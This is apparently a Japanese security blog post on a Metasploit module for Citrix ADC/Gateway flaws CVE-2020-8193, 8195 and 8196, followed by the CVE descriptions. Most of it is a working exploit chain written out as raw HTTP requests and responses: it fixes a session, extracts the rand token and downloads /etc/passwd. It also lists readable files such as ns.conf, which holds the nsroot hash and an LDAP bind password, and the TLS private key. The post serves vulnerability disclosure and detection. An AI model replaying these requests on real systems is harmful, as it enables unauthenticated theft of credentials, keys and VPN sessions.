
このMetasploit-Frameworkモジュールは、企業が最新のCitrix脆弱性CVE-2020-8193、CVE-2020-8195、CVE-2020-8196(2020年7月8日公開)を確認するのに役立ちます。

このMetasploit-Frameworkモジュールは、企業が最新のCitrix脆弱性(2020年7月8日開示)を確認するために使用できます。
2020年7月8日にDonny Maasland氏による公開レポートで、脆弱性がどのように悪用されるかが議論されました。
2020年7月10日時点で、RIFTは、この脆弱性を使用して脆弱なインスタンスから有効なVPNセッションを抽出できることを確認しています。
Twitterから詳細を読む:
最初に、セッションIDを取得する必要があります。
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
Host: 192.168.7.2
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
X-NITRO-USER: LCGSfX
X-NITRO-PASS: fYiZon
Content-Type: application/xml
Content-Length: 44
Connection: close
<appfwprofile><login></login></appfwprofile>
HTTP/1.1 406 Not Acceptable
Date: Tue, 14 Jul 2020 09:13:23 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Set-Cookie: SESSID=b4f86e3ab3df3f666eaf0b618502a7b5; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-XSS-Protection: 1; mode=block
Content-Length: 4489
Connection: close
Content-Type: application/xml; charset=utf-8
次に、セッションを修正する必要があります。この手順を利用してrand値を取得できます(/menu/stcへの追加リクエストを省けます)。
GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
Host: 192.168.7.2
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cookie: SESSID=b4f86e3ab3df3f666eaf0b618502a7b5;
Content-Type: application/x-www-form-urlencoded
Connection: close
HTTP/1.1 302 Found
Date: Tue, 14 Jul 2020 09:13:27 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: is_cisco_platform=0; expires=Fri, 09-Jul-2021 09:13:27 GMT; Max-Age=31104000; path=/; HttpOnly
Location: /menu/neo
X-XSS-Protection: 1; mode=block
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
リダイレクトに従う必要があります。
GET /menu/neo HTTP/1.1
Host: 192.168.7.2
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cookie: SESSID=b4f86e3ab3df3f666eaf0b618502a7b5;
Content-Type: application/x-www-form-urlencoded
Connection: close
レスポンスボディからrand値を取得します。
HTTP/1.1 200 OK
Date: Tue, 14 Jul 2020 09:13:30 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: startupapp=neo; expires=Fri, 09-Jul-2021 09:13:30 GMT; Max-Age=31104000; path=/; HttpOnly
Vary: Accept-Encoding
X-XSS-Protection: 1; mode=block
Content-Length: 1590
Connection: close
Content-Type: text/html;application/octet-stream;application/ecmascript;application/json;application/xml;charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XDEV_HTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Citrix ADC - Configuration</title>
<script type="text/javascript">var neo_logout_url = "/menu/lo?rand=478257144.1894793017920341";</script>
<script type="text/javascript">var neo_machine_sysid = "450092";var rand = "478257144.1894793017920341";var partition_dir = "";var is_ha_supported_in_gui = "true";var login_warning = "";</script>
<script type="text/javascript">var global_data = "{global_data}";</script>
<link href="/admin_ui/rdx/core/css/rdx.css" rel="stylesheet" type="text/css"/>
<link href="/admin_ui/neo/css/neo.css" rel="stylesheet" type="text/css"/>
<!--[if IE]> <style type="text/css"> .form td input[type="submit"] { width: 50px; } </style> <![endif]-->
<script type="text/javascript" src="/admin_ui/rdx/core/js/rdx.js"></script>
<script type="text/javascript" src="/menu/branding"></script>
<script type="text/javascript" src="/menu/neoglobaldata"></script>
<script type="text/javascript" src="/menu/neoa?gui_token=478257144.1894793017920341"></script>
<script type="text/javascript" src="/admin_ui/neo/js/neo.js"></script>
<script type="text/javascript" src="/admin_ui/neo/js/epa_expression_data_win.js"></script>
<script type="text/javascript" src="/admin_ui/neo/js/epa_expression_data_mac.js"></script>
</head>
<body class="ns_body">
</body>
</html>
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
Host: 192.168.7.2
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cookie: SESSID=b4f86e3ab3df3f666eaf0b618502a7b5;
X-NITRO-USER: PjdFbLCc
X-NITRO-PASS: xyFoLmXD
Content-Type: application/xml
Content-Length: 44
Connection: close
<appfwprofile><login></login></appfwprofile>
HTTP/1.1 406 Not Acceptable
Date: Tue, 14 Jul 2020 09:13:33 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-XSS-Protection: 1; mode=block
Content-Length: 4489
Connection: close
Content-Type: application/xml; charset=utf-8
POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
Host: 192.168.7.2
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cookie: SESSID=b4f86e3ab3df3f666eaf0b618502a7b5;
X-NITRO-USER: UGjkHm
X-NITRO-PASS: NbIEBHxw
rand_key: 478257144.1894793017920341
Content-Type: application/xml
Content-Length: 31
Connection: close
<clipermission></clipermission>
HTTP/1.1 406 Not Acceptable
Date: Tue, 14 Jul 2020 09:13:37 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Expires: -1
Cache-Control: private, must-revalidate, post-check=0, pre-check=0
Pragma: private
Content-Disposition: attachment;filename="passwd"
Accept-Ranges: bytes
Content-Length: 465
X-XSS-Protection: 1; mode=block
Connection: close
Content-Type: application/octet-stream
root:*:0:0:Charlie &:/root:/usr/bin/bash
nsroot:*:0:0:Netscaler Root:/root:/netscaler/nssh
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
nsmonitor:*:65532:65534:Netscaler Monitoring user:/var/nstmp/monitors:/usr/sbin/nologin
攻撃者はこの脆弱性を利用して、脆弱なCitrixシステム上の機密情報を入手できます。
以下は、Citrix Netscaler 12.1 build 55.18で観察された内容の概要です。
/nsconfig/ns.confの読み取りが可能:これはNetscalerの設定ファイルです。SSHでNetscalerに接続する権限を持つユーザー(nsrootユーザーを含む)のハッシュが含まれています。 また、このファイルにはActive Directoryのバインドに使用される情報なども含まれています。
いくつかの興味深い出力:
set system user nsroot 35b7a39540c7f42a4c85455a750fed309e506d6d83fcaae83 -encrypted -hashmethod SHA1
add authentication ldapAction 192.168.7.3_LDAP -serverIP 192.168.7.3 -serverPort 636 -ldapBase "DC=prod,DC=contoso,DC=com" -ldapBindDn [email protected] -ldapBindDnPassword 36e2fd1867ca398c68f45c7c54dfa56988c3464ff2a3acf48887091292fb58f5 -encrypted -encryptmethod ENCMTHD_3 -ldapLoginName
add ssl certKey ns-server-certificate -cert ns-server.cert -key ns-server.key

/nsconfig/ssl/ns-server.key(およびその他すべての証明書ファイル)の読み取りが可能:これはTLS用の証明書キーです。

/var/nstmpディレクトリの一覧表示が可能:通常、LFIからディレクトリを一覧表示することは一般的ではありません。攻撃者はこれを使用してファイルシステム内の「道を見つける」ことができます。
/var/nstmpディレクトリにはアクティブなセッションのリストが含まれています。

CVE-2020-8193: Citrix ADCおよびCitrix Gatewayのバージョン13.0-58.30未満、12.1-57.18未満、12.0-63.21未満、11.1-64.14未満、10.5-70.18未満、ならびにCitrix SDWAN WAN-OPのバージョン11.1.1a未満、11.0.3d未満、10.2.7未満における不適切なアクセス制御により、特定のURLエンドポイントへの認証なしのアクセスが可能になります。
CVSS 3.x 重大度と評価指標:
CVE-2020-8195: Citrix ADCおよびCitrix Gatewayのバージョン13.0-58.30未満、12.1-57.18未満、12.0-63.21未満、11.1-64.14未満、10.5-70.18未満、ならびにCitrix SDWAN WAN-OPのバージョン11.1.1a未満、11.0.3d未満、10.2.7未満における不適切な入力検証により、低権限ユーザーへの限定的な情報漏洩が発生します。
CVSS 3.x 重大度と評価指標:
CVE-2020-8196: Citrix ADCおよびCitrix Gatewayのバージョン13.0-58.30未満、12.1-57.18未満、12.0-63.21未満、11.1-64.14未満、10.5-70.18未満、ならびにCitrix SDWAN WAN-OPのバージョン11.1.1a未満、11.0.3d未満、10.2.7未満における不適切なアクセス制御により、低権限ユーザーへの限定的な情報漏洩が発生します。
CVSS 3.x 重大度と評価指標: